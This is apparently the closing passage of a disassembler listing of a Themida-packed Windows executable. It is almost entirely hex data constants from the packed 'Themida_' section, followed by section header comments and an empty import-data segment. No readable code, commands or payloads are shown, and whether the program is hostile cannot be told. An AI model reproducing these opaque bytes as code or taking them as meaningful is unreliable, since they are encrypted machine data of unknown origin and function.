7EE704E7h, 27B7DCB4h, 9C481FB8h, 6336B849h dd 8160160Ch, 0CCFDB2C1h, 61DC8A4Bh, 8BEEE080h, 66A6B2D9h dd 8B3108B8h, 0EE9F2h, 0A71A0000h, 0DF9A483Ch, 610CB1B6h dd 50B2652Bh, 0AE9h, 0E0E1B100h, 27530B03h, 66C7652Eh dd 0E9A838BAh, 0Dh, 552CE024h, 2DF4B377h, 0D511BFBFh, 12E88Bh dd 8B4D0000h, 0F7F6C7Ah, 0CD059B35h, 781AB004h, 0A2E360EAh dd 7E959h, 9080000h, 0C0930F4Dh, 4820F49h, 66000000h, 8B56CBB8h dd 12E8F2h, 29A0000h, 0E8CCBF04h, 0AF1B6D09h, 43A90852h dd 280FBCFBh, 5AF0B70Fh, 0D08AA8BAh, 0C781F85Bh, 1BF32924h dd 8BD2BF0Fh, 0D18B66D3h, 0BFADF180h, 5665F50Fh, 0FC53A6B5h dd 7E858h, 0CD8E0000h, 1486E67Fh, 0C6BF0FB9h, 0D881665Bh dd 5E81502h, 0D000000h, 0D4C028F7h, 0DE95BF8h, 0FB000000h dd 85F74023h, 7FCD8E12h, 0B91486E6h, 198C0Fh, 14E90000h dd 2F000000h, 0ABE4F769h, 7EA0DE6Ch, 1D5E76Ah, 81357D35h dd 0E9F96DA7h, 6, 64A20060h, 10E85EFAh, 0AA000000h, 361D6B6Ah dd 0F61C8D0h, 59915907h, 809B7D2Bh, 0F5A77E1h, 58Eh, 0E8816600h dd 6660E744h, 0E83E88BAh, 0Ah, 0E5C691BCh, 0C13481D0h dd 61606F58h, 8B66615Ah, 0CE9D3h, 97010000h, 0C5704633h dd 0C0A7BE8Eh, 8E0FCD1Dh, 3, 0F9DEB70Fh, 13E8h, 0F1C2A200h dd 59D17EC9h, 0EF46A8EBh, 1658A26Ch, 0B174682Ah, 5810F58h dd 51000000h, 5BD1BF0Fh, 68B0F51h, 0F000000h, 87h, 81665B00h dd 0FC5DFD2h, 8B0FF7B7h, 3, 664CC980h, 14E9D18Bh, 73000000h dd 395D2597h, 0F22A605Bh, 0AB80F677h, 7E0C58D8h, 0FB8403Eh dd 5E9DFBFh, 0BC000000h, 0FB733332h, 0C1CEC7BEh, 0C880F93Ch dd 0E2816677h, 830FF491h, 3, 6618CD80h, 8B66D88Bh, 0D6BF0FDAh dd 7587E8B8h, 0B6D68057h, 304BC2BEh, 9830F04h, 0F000000h dd 38Ch, 0D8B70F00h, 819AE880h, 0B3EFBCD7h, 4820F77h, 66000000h dd 66EC00BFh, 81C1D3BFh, 99BEB6F7h, 0E9DCB654h, 0Ch, 93689F9Bh dd 0F4FD108Bh, 0B8881287h, 0EE8h, 0D397A100h, 0CC37C740h dd 32D8B560h, 0FFF87F7h, 589h, 0D42BBE00h, 515B6BE3h, 0FB8B575Bh dd 0F081665Eh, 0BF66D08Ah, 0EC80D987h, 61BFF9C8h, 0E96358B7h dd 5, 0D67A1580h, 0D38153D2h, 3951D55Fh, 0DF8B665Ah, 0BF0F78B6h dd 0FF38BD7h, 5E50D0B7h, 0E828C380h, 13h, 0E1219D75h, 1FB95670h dd 9656C769h, 27AF56FEh, 0F23AA8Ah, 280h, 5E616000h, 0FE8h dd 0A6A8300h, 0BFC366C0h, 51A705F5h, 42FEEAF6h, 0FE9h dd 0B9EE6D00h, 14B63847h, 0E3717E69h, 4196037Dh, 0CE95Fh dd 2B490000h, 500A5ACDh, 3866570Dh, 0C38B1ACFh, 58B0F60h dd 0BE000000h, 6AF7484Bh, 0BE861h, 0F4860000h, 7E62E16h dd 783869B6h, 0C28166B8h, 6059628Bh, 28E0Fh, 0D68B0000h dd 2976D881h, 0F613025h, 0BA66F3BFh, 816071F5h, 0A98762CFh dd 870F602Dh, 0 aB__Yaas db 'Ö_.šyaaé',7,0 align 10h dd 9EEFD00h, 10C0843Bh, 0E2DF81FCh, 0BB106301h, 30846EFAh dd 0A49DB866h, 38E0Fh, 8B660000h, 0E9F1B4CAh, 0Ah, 97C3BE12h dd 0A9AD9C75h, 0B966B17Eh, 11E92164h, 0EB000000h, 5DD5DB7Dh dd 9DD427E9h, 0C9A2FCAh, 7D21E180h, 28B0Fh, 0CE8B0000h dd 0B9D3BF0Fh, 559B12F1h, 66F08B66h, 0BF0FD08Bh, 0CF8166F9h dd 0F28122F7h, 3572E728h, 68C0Fh, 0D6810000h, 353F267Dh dd 0D6DE8166h, 0F78166F0h, 0BF66F5BFh, 0B860A79Fh, 11E14DE6h dd 0BB61FA8Bh, 1FD20C32h, 0EE9F5h, 0C1F90000h, 2ADD052Bh dd 0D6B4AFEDh, 8B855624h, 4880Fh, 0BB660000h, 0FEB77551h dd 890F83B6h, 5, 1DD78166h, 0D2BF0F65h, 48D0Fh, 0BE660000h dd 0DF8BC3ACh, 880Fh, 0BE80000h, 53000000h, 0BF575C50h dd 567A9539h, 83BBE103h, 5B4634D7h, 0FE8h, 94247C00h, 6BD31081h dd 0E110DFE4h, 5AA43191h, 8159C38Bh, 0C2E887F3h, 0FB9B765h dd 1784h, 11830F00h, 0E9000000h, 0Ch, 777048E2h, 975E2BE4h dd 1518F866h, 1820Fh, 66F50000h, 0FC65A1BAh, 2850Fh, 8B40000h dd 0FDFBF0Fh, 11E9C3BFh, 3D000000h, 0F85E52DDh, 926708A0h dd 0ACBA8A97h, 0A692826h, 57C8BF0Fh, 0BA66F85Bh, 880F0FB5h dd 1, 0C88166F5h, 7E8C25Bh, 7E000000h, 1B94D664h, 0C9819754h dd 1CA35CFh, 8BC0B758h, 0FE8B66FEh, 11E8h, 0F22F1200h dd 0F355904Ah, 0A292C84Bh, 3164EF0Eh, 59F57901h, 1044CE81h dd 6052304Eh, 10E9F8h, 63730000h, 625F44D1h, 28D3BF71h dd 0AED0ACACh, 5E612FAFh, 0D172B866h, 8B66F18Bh, 80F8F9FBh dd 9E9BACAh, 6A000000h, 70B58835h, 42058EDAh, 8166F48Ah dd 6063E2D0h, 0F11CB80h, 68Ah, 7CC68100h, 61577F1Dh, 0AE8h dd 0A0DA9A00h, 4E5BAF5Ah, 0F55F8C9Dh, 41CE815Ah, 0F912FB9Ch dd 8E9h, 0B89AC00h, 1A4C3B91h, 0E6E0801Ch, 961D76BEh, 0E5BB6656h dd 7BE58071h, 58B0Fh, 37BE0000h, 8159E7A2h, 0B32C2E0h dd 14E96024h, 0C0000000h, 7B0BCB95h, 1045ECF6h, 0B663897h dd 0BFA92C14h, 0FEABE5Bh, 686h, 0EFD88100h, 614DB39Eh dd 8BD6B70Fh, 0DE9F1h, 7E880000h, 8155CE82h, 4815FEC7h dd 0BB5CAA7Dh, 1141C04Ah, 9E9h, 0E98FCC00h, 79867521h dd 0F533257h, 1283h, 0DE900h, 0A9E10000h, 0B4DD571Ah, 15C1A0Ch dd 5E3FAFFEh, 6B82C081h, 0B86629E3h, 9E9A924h, 7D000000h dd 94C747DEh, 9CF4541Ah, 1CBE66F8h, 665B50E5h, 80F5F88Bh dd 0BF0FC3F1h, 12E9DBh, 0B1670000h, 75D18293h, 0A7020FB6h dd 0B1D83A94h, 0A537E61Eh, 766AF081h, 0C18158D5h, 1676B4CFh dd 0A95D881h, 0E0816F94h, 4D421177h, 66D9BF0Fh, 8062F5B9h dd 0CE9D6F4h, 0AA000000h, 1F6016DEh, 0F82598F6h, 66D3C151h dd 0AE8FB8Bh, 21000000h, 0BA6E5AA9h, 594F4BC8h, 0E8B86649h dd 830F5813h, 2, 74B9D9B6h, 60117B95h, 0FDBB70Fh, 0E961D1B7h dd 0Bh, 8BF08AD5h, 1CFE5FFh, 60DB006Fh, 34F480F8h, 12E961h dd 9C50000h, 0A461AFC0h, 0A184FA0Ah, 0F15927D4h, 0D83A3B6h dd 7E9h, 0C9F33300h, 8F9FD838h, 0D771DB81h, 8B663715h dd 0D38B66C1h, 0ECF281F8h, 80155F60h, 0BF0F9BF5h, 0B840FC2h dd 0F000000h, 580h, 0C1816600h, 51B3B363h, 0EF702FB9h dd 57C3814Ch, 6017A971h, 8A0Fh, 0D2810000h, 6B2DAA8h, 66C18161h dd 0E965769Ch, 0Fh, 7EDB90B0h, 0F7F2AAF3h, 0F0B7C4C7h dd 8026971Eh, 89BAB4EAh, 0E80666A5h, 12h, 0B5ADF0FCh, 9CC8E03h dd 43E5A19h, 7227A76Bh, 8B601D03h, 830FCFh, 61000000h dd 5EF55158h, 3DAB53BFh, 60FE8B2Bh, 71C18160h, 616A7362h dd 176AB966h, 0F2816661h, 0BA603854h, 1D60FE4Ah, 6115CA80h dd 7E9h, 2F299F00h, 0BB6B4803h, 0FE9h, 0EDE55500h, 0DFA4D4F0h dd 4E2BBD0h, 40F11B9Fh, 0EE9h, 20796900h, 0E8136D71h, 0FDF7C896h dd 8B97DF81h, 0BF66F5CBh, 0BA661E46h, 8B661006h, 5E8FBh dd 34590000h, 80FE8999h, 8A585DDAh, 870F60E5h, 1, 0FE9FCh dd 0A05E0000h, 84B738FEh, 0CA49948Ch, 53F505D3h, 816661E9h dd 0E9218CCEh, 0Bh, 8A7B7F38h, 24F49CA6h, 0E9E2348Ch, 5 dd 0AFD17C6Dh, 7E928h, 722F0000h, 0E0AB889Bh, 0F080F56Dh dd 0C8B360C2h, 0BE961h, 51900000h, 46C0AAA9h, 902052B7h dd 0C04BB92Bh, 0B70F2C9Ch, 7E9F3h, 24A60000h, 97E92DE6h dd 5E94Bh, 32160000h, 66FA9AF5h, 0FCD39BAh, 38Bh, 0F0BF0F00h dd 0E8C0Fh, 0E9500000h, 7, 38D97A06h, 5F5ED9C8h, 4830Fh dd 0BB660000h, 820FBE30h, 11h, 0CE9h, 5AE1AB00h, 0A642B736h dd 3F66E4C4h, 0F88B6620h, 0B6CDF181h, 0C38B5F11h, 6203ECB8h dd 5830F51h, 0B8000000h, 4C5DA526h, 9E860h, 92200000h dd 0CECD578Ah, 815DF18Eh, 6C2620C0h, 81665B2Bh, 6159E8F0h dd 6E8h, 0D1CBAB00h, 503E299Ch, 52D38166h, 8A595F9Ah, 0BFB866E3h dd 0D7816688h, 0EC8057C4h, 6E92Dh, 890B0000h, 0EEFDF228h dd 6286BA66h, 0F6DCC6BFh, 8B66F93Ch, 5860FC6h, 0B9000000h dd 1B0D4025h, 0BED08B66h, 654B6023h, 9E9h, 97818500h, 0EA3414B3h dd 8B666704h, 0FAB70FF0h, 0D7DCC781h, 14E8198Bh, 0ED000000h dd 0E3CBCD02h, 7388D31Fh, 9A1BB2BEh, 0B151C820h, 805A9A55h dd 8B5849EEh, 858AB9C1h, 8ABF694Ch, 0F1E3C14h, 880FCABFh dd 3, 8BCF8B66h, 0D5C080C7h, 9E9h, 8766BC00h, 0CB913BE4h dd 0F281F037h, 536DA1D1h, 66D18B66h, 503464BAh, 12E9h dd 0A0E1700h, 3DB8A28Ch, 1C9553A1h, 62483482h, 5E76BBB4h dd 0BF66FA8Ah, 0EB816436h, 6BEBD188h, 3840Fh, 0BF0F0000h dd 0BE9D9h, 362E0000h, 3B114D23h, 146424CCh, 0E9616077h dd 13h, 700EB31h, 934341A0h, 0D7ADAAB4h, 902C4DD4h, 0E814C7C7h dd 12h, 462F880h, 6C29CA1Fh, 0B537F654h, 70EC3325h, 13E9AE0Bh dd 3D000000h, 80EF2AC7h, 5B5961AAh, 97ACC1C0h, 61C18F34h dd 0F590646h, 583h, 0D0816600h, 0BA6020D9h, 5D46BD23h dd 0BE9h, 56D60600h, 0A28EE117h, 0B2F8B072h, 6693B461h dd 50FAB6BBh, 1FCFF081h, 0F85A5C47h, 0E9585160h, 8, 17810597h dd 0DA123962h, 0D68B6661h, 0F9AFFFBFh, 9CBE6632h, 0EE95B8C7h dd 40B00CD9h, 0DF8B66FCh, 0EE95E50h, 69000000h, 8B1FA19h dd 68CF565Eh, 69F80DA3h, 0F6BF0FFAh, 9ED68166h, 0F78B6058h dd 8ADA8B60h, 0E86161DDh, 6, 859AEE1Ch, 665B22C7h, 1929F281h dd 5860F60h, 0B9000000h, 2621ED06h, 595A5352h, 0C830F61h dd 0F000000h, 68Ch, 0E4D98100h, 0E93F9DA6h, 14h, 409266E1h dd 0E3F93BCCh, 8C1FB685h, 0C4838CA1h, 6E1BA6E3h, 0FC78166h dd 0D58A6079h, 6880Fh, 0EA810000h, 0F84AEBFh, 36F28161h dd 0E82DF9F3h, 6, 0C768901h, 11E9BDDCh, 0F7000000h, 72EA5231h dd 51A64908h, 40C4C2E7h, 6A51938Eh, 0E881665Fh, 10E9907Bh dd 46000000h, 3B25EDD8h, 0BCE2070h, 0F1F7CC3Ch, 8060FDE4h dd 0E8513EEAh, 6, 3EE04623h, 11E99BB2h, 59000000h, 0AD2D2228h dd 0B582CF10h, 6A659382h dd 43D077FCh, 0E9605F5Eh, 0Ch, 7B549E9h, 782D4F5Fh, 0C187F9D7h dd 0FBB70F61h, 0AE9h, 47447900h, 792E935Dh, 0FBAA86Fh dd 583h, 0EF816600h, 0B70FCA2Ch, 0BE9D2h, 0B0A60000h, 7F75608Ch dd 6718BA9Eh, 0AE8A2h, 0AC5B0000h, 0A6EBFFD1h, 83BF21D3h dd 12E95FF5h, 68000000h, 74BEDD31h, 3A0B7CBFh, 97B82C15h dd 3F826910h, 11E9ACh, 17030000h, 20AF1964h, 0C09A3B17h dd 6C0598D6h, 0F7F8B70h, 482h, 8BB96600h, 0BF0FFC3Eh, 8C0FDAh dd 0FC000000h, 0BF66FC60h, 81612715h, 0F540DBEBh, 890F6003h dd 0 dd 68E0Fh, 8F0F0000h, 0 dd 800FF961h, 1, 8E0FF5FCh, 0 dd 5BF7B351h, 8B66D18Ah, 0CB8166DAh, 0E28AF025h, 66EECA80h dd 52E2DFB8h, 6E8h, 1D53E900h, 0F4069EEh, 5B58D8BFh, 0B0C4E681h dd 9E82CBCh, 8D000000h, 0D090DF64h, 2C04F942h, 66F85FF8h dd 0E92C09B9h, 0Ah, 222462D8h, 33F04211h, 0B86678C9h, 0D680F223h dd 0CA8B6615h, 3830Fh, 8B660000h, 0ACB966F1h, 569AB335h dd 5E9h, 6A2F5A00h, 0E9590C7Eh, 0Eh, 0A8C983FFh, 730F2D04h dd 7BD81417h, 14BB600Dh, 0E94DE86Eh, 0Ah, 0F2366F07h, 0B8C562ABh dd 820F9896h, 5, 0CD22C9B9h, 158A0F24h, 0E9000000h, 10h dd 0B83A18Dh, 0B30DF4D3h, 0E4DCE8Ah, 216A6840h, 12E9h dd 9026A400h, 0B3829531h, 1E2C1391h, 0F4D1F33Bh, 0E810DD5Bh dd 0Dh, 7F571Ch, 0B105074Bh, 0F46A2D21h, 0C2CA81DAh, 5A4206DEh dd 0E080F88Bh, 0D0F280A7h, 0FC1BF0Fh, 60B3CFB7h, 99F28166h dd 0FAB9665Bh, 0B97BB743h, 3D04CEEFh, 88C0Fh, 8C0F0000h dd 2, 0F560D58Ah, 37D68166h, 0BA666181h, 11E89989h, 0F3000000h dd 6E136B20h, 45AD0091h, 0B0370BB7h, 0F4CDF5F7h, 2237E081h dd 0FC597A11h, 0BE9h, 559EE000h, 915EDD91h, 1B01C310h dd 0EE9h, 8F25500h, 0E57777C9h, 38DBDA37h, 60E3516Ah, 0DE9D18Bh dd 0AE000000h, 882DDFD7h, 71CC569Dh, 3A4FD661h, 86B76061h dd 6E961F5h, 70000000h, 662E96C6h, 0F6060D1h, 8Fh, 11E900h dd 0CA0B0000h, 8BDCD24Dh, 7E8E85ABh, 4FF69C48h, 61A243DAh dd 0B70F61FCh, 0F28B66D0h, 66ECF380h, 8AE040BBh, 6820FF7h dd 81000000h, 47C78AC1h, 9E877h, 0E92C0000h, 497C45D0h dd 66B4F842h, 2B13C181h, 10BE665Eh, 81666033h, 607F33D3h dd 3884BA66h, 526161F9h, 0B9595857h, 6CA9ED2Eh, 0DF81C68Bh dd 1C4B9AEAh, 14E8h, 0D2873400h, 286E785Eh, 80D739E1h dd 0BA68B082h, 7F7B282h, 12E931h, 6280000h, 1806B040h dd 91D89AE3h, 43298BCAh, 0AAD48E7Bh, 0DA8B6659h, 0CC8AE0B3h dd 66FCDA8Ah, 0FC1AF381h, 0EF5AE781h, 5F530820h, 0FE9h dd 0A4A6A200h, 0B27B07D1h, 0C5332C16h, 93845CAFh, 2870F52h dd 60000000h, 0B8665F61h, 0E8F9C136h, 0Fh, 2FE9958Eh, 0F48F2143h dd 4DAE1E69h, 0BA9EAB6Eh, 3E9783DDh, 0D0B70F5Ah, 118C0F60h dd 0E9000000h, 0Ch, 798CB7B0h, 3401722Dh, 30148F41h, 61DBB70Fh dd 2860F52h, 60000000h, 820F5E61h, 0 dd 77D78166h, 0FD78BADh, 38BAFAB7h, 0E90671D0h, 11h, 0A9831F93h dd 0D9397B64h, 7920717Dh, 0FB583DD9h, 81CA81B3h, 0B8699D47h dd 516D8ED7h, 0DE8h, 0CBDD2C00h, 0A964E753h, 0B62F16C7h dd 0B3BFCAC1h, 5828C9BDh, 0DB1EF81h, 0BF0F1047h, 0E9D78BD0h dd 8, 530A6F2Bh, 1184EAB4h, 12E9h, 75C9C600h, 6E20D09Eh dd 5C206EA0h, 7D87E547h, 60C7A55Fh, 14E8h, 0EF343700h dd 490A8DEAh, 0B5179A90h, 6390A885h, 69BEF85Ch, 7E970h dd 6F360000h, 0E4F7692Fh, 536158ABh, 0DA8B665Eh, 4B5BD981h dd 0DE958C6h, 52000000h, 0F0D6A89Bh, 0FC527BE7h, 0C7B2B21Fh dd 0E9C9BF0Fh, 0Fh, 1F29EF09h, 0ADFD2BD9h, 17660C60h, 666404F1h dd 8027CA81h, 13E9h, 0F977EB00h, 7467BAE7h, 318117F6h dd 1960C0B4h, 0B9BA7973h, 2850Fh, 0E58A0000h, 0BB6FF081h dd 8B0F287Ch, 2, 66FC95B0h, 600EB6BFh, 5417E0B8h, 0DE957h dd 76DA0000h, 0DFB8A45Fh, 57BD7484h, 61096656h, 0E8F6BF0Fh dd 5, 922BC81Ah, 0D0BF0F13h, 9EB8535Ah, 5B67D3EBh, 6E9h dd 0D13EF100h, 0F82CC99h, 289h, 0E9D3B400h, 0Ch, 4063D40Dh dd 8143CF37h, 0ADD949A5h, 4D092FBBh, 66D78A6Bh, 6650C3BEh dd 0E978F7B8h, 5, 0B027D585h, 0D88B6607h, 3F7FBBBAh, 0FE913h dd 0AA960000h, 3C98CA7h, 0FB5048C2h, 0A671CB0Bh, 0E68166C9h dd 0F534DA7h, 0E859CFBFh, 9, 0A9E4ADB9h, 0D9F02847h, 0C18B6636h dd 536CB259h, 235FD681h, 81590F17h, 0BC2003F2h, 0D981665Bh dd 0A9B06108h, 5FF85751h, 80FAB05Ah, 9E891E6h, 0A9000000h dd 0D7B05777h, 24E94841h, 5E49C980h, 0FED88156h, 5851A13Ah dd 0CA58BB66h, 2BCF8160h, 616F6976h, 38E0Fh, 0F3800000h dd 0CE8B66B8h, 2860F60h, 0B7000000h, 616060F4h, 860Fh dd 61610000h, 6E8h, 0F197DF00h, 5ABE1684h, 0AC58CA81h dd 8C0F454Bh, 2, 0B70FF78Bh, 5E8C8h, 25310000h, 80D00377h dd 0F5973EBh, 8B66D3B7h, 0D9B966C8h, 54BF664Eh, 5E92Eh dd 8C440000h, 808220D4h, 49B692D8h, 2100B966h, 0F5EF852h dd 38Ch, 8E18000h, 6671CE80h, 0FFB44B8h, 1788h, 11850F00h dd 0E9000000h, 0Ch, 43F847F9h, 98C174B8h, 92FA3006h, 9EC88166h dd 0D9B70FCEh, 5956C58Ah, 0AE8h, 5AE75900h, 741FCBCh, 6027F86Bh dd 9E8h, 0F4D90E00h, 0C45685C3h, 61581714h, 0BE959h, 8AA20000h dd 10EB21C7h, 233B6E9Dh, 0C8C0F00h, 0F000000h, 68Fh, 9DD28100h dd 0F1171CEh, 88Dh, 2870F00h, 52000000h, 0E903B75Ah, 13h dd 15BA2DF1h, 3A5B8BACh, 7DC95E45h, 0DCABF4E1h, 0E8605F12h dd 12h, 1E191569h, 3DD322DEh, 0F0B1329Ah, 5AAC4E48h, 5E82F13h dd 0AA000000h, 0B05E9A11h, 0E7CA8166h, 665F59F3h, 0D0EAF181h dd 0BC00D981h, 8E82CB4h, 0C2000000h, 0FD764888h, 5F17714Ah dd 8820Fh, 81510000h, 47F037D1h, 0BB665E11h, 66609242h dd 0D880C78Bh, 0BE666160h, 13E9954Eh, 76000000h, 3A22AFEBh dd 496C0CA6h, 1CA51252h, 0E6D7A72h, 8D0F4EA0h, 1, 0C38B66F8h dd 95F3BB66h, 0FCD18B66h, 0BBE38166h, 0E0816666h, 0AE9ACEDh dd 44000000h, 956F7C83h, 316951D0h, 11E8ECh, 0D5B90000h dd 0FF861363h, 8C7EEA76h, 0BD402976h, 0FC37C50Bh, 0E9D7B15Ah dd 0Ah, 464BB1CFh, 3B25EDD8h, 0BE82070h, 0C1000000h, 0C091AE9Ah dd 0D3C5A67h, 8B57F50Bh, 81595AC3h, 56D952E3h, 10E8537Ah dd 0C2000000h, 0A5F1C40h, 8D6EF7A3h, 64023A46h, 66D09B5Ah dd 931EC981h, 8166595Bh, 0F986C1DAh, 1870FF9h, 0FC000000h dd 12E8h, 7F361200h, 0FC6C31E9h, 6757D411h, 0AA48EC4Bh dd 813E2379h, 8EE6AFCAh, 66535E79h, 58BA71B8h, 0BE6660F9h dd 0F61B6E7h, 12BAC9B7h, 56591DAAh, 0E966CB81h, 665E6958h dd 50FCF78Bh, 9E9h, 0DAFF7A00h, 9FBAAF13h, 0E959BBB1h dd 9, 0C0BDDFE7h, 55625BD3h, 81D88BCDh, 0C9CD96D7h, 12E97Ch dd 3A9F0000h, 717948B1h, 0C32E7DE4h, 8A5BBB87h, 0A202C086h dd 13E8h, 89B48800h, 9C19F383h, 70BDCFD1h, 0A4E71352h dd 40A6C600h, 0AE9h, 0FA137700h, 0CBCFCF13h, 5AAE1265h dd 3CB866F9h, 12E9D7h, 5DEF0000h, 18B1EA8Bh, 28F113A4h dd 3040860Ah, 82FE2A54h, 0FE856h, 9E3A0000h, 4039A0CFh dd 571085ADh, 7E4FDA13h, 0DF81661Fh, 5F5B5A0Ah, 0F781C9B4h dd 29CB9634h, 572E61B9h, 0B0B9665Ah, 50BE6673h, 0D0816625h dd 0D38B616Eh, 50CABF0Fh, 1515EB81h, 565962F8h, 0FE960h dd 3E440000h, 45CC0A4Eh, 0D01355B0h, 264E42CFh, 0DE96Ah dd 68FF0000h, 6030ECF3h, 0E6ED2BA9h, 610FA4C4h, 88177758h dd 1B3h dup(881777C7h), 1E0h dup(715E450Ch), 98h dup(7A548726h) dd 0D0548726h, 3B2h dup(0D04B816Bh), 674B816Bh, 0C4h dup(67F856E0h) dd 0B5Ch dup(0CCCCCCCCh), 0CCh, 257h dup(0) Themida_ ends ; Section 5. (virtual address 001BC000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001BC000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5BC000h dd 80h dup(0) align 1000h _idata2 ends end start